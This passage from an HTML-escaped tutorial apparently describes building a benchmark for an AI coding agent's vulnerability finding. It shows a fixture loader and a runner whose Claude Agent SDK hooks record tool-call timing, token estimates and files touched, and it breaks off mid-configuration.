&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;vulnsPath&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;FIXTURES_DIR&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fixtureName&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}.json`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;raw&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(vulnsPath, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; raw.vulnerabilities;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To add a new fixture: create &lt;code&gt;fixtures/ruby-vulns/app.rb&lt;/code&gt;, create &lt;code&gt;fixtures/ruby-vulns.json&lt;/code&gt; with the ground truth, drop &lt;code&gt;evals/tasks/ruby-find-vulns.json&lt;/code&gt;. Done — no code changes.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-4-the-runner--orchestrating-the-agent&quot;&gt;Step 4: The runner — orchestrating the agent&lt;/h2&gt;
&lt;p&gt;This is the core of the benchmark. The runner uses the Claude Agent SDK to spin up a Claude Code subprocess, point it at the fixture directory, and collect metrics while it works.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { query, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; HookCallback } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@anthropic-ai/claude-agent-sdk&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;runTask&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;task&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;EvalTask&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;RunConfig&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;cwd&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;RunOutput&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;toolCalls&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;ToolCallRecord&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;toolStartTimes&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filesScannedSet&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// PreToolUse: stamp start time for each tool call&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;preToolHook&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;HookCallback&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (input &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).tool_use_id &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    toolStartTimes.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(id, Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// PostToolUse: record duration, estimate tokens, track files touched&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;postToolHook&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;HookCallback&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (input &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).tool_use_id &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;tool&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (input &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).tool_name &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;unknown&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;startTime&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; toolStartTimes.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(id) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;inputTokensEst&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;estimateTokens&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((input &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).tool_input);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;outputTokensEst&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;estimateTokens&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((input &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).tool_response &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (input &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).tool_result);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    toolCalls.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ tool, durationMs: Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; startTime, inputTokensEst, outputTokensEst });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (tool &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Read&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; tool &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Write&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; tool &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Edit&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filePath&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (input &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).tool_input?.file_path;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (filePath) filesScannedSet.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(filePath);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    toolStartTimes.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;delete&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    prompt: task.prompt,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    options: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      cwd,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      model: config.model,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      maxTurns: task.maxTurns &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; config.maxTurns &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      allowedTools: [&lt;/span&gt;&lt;/span&gt;
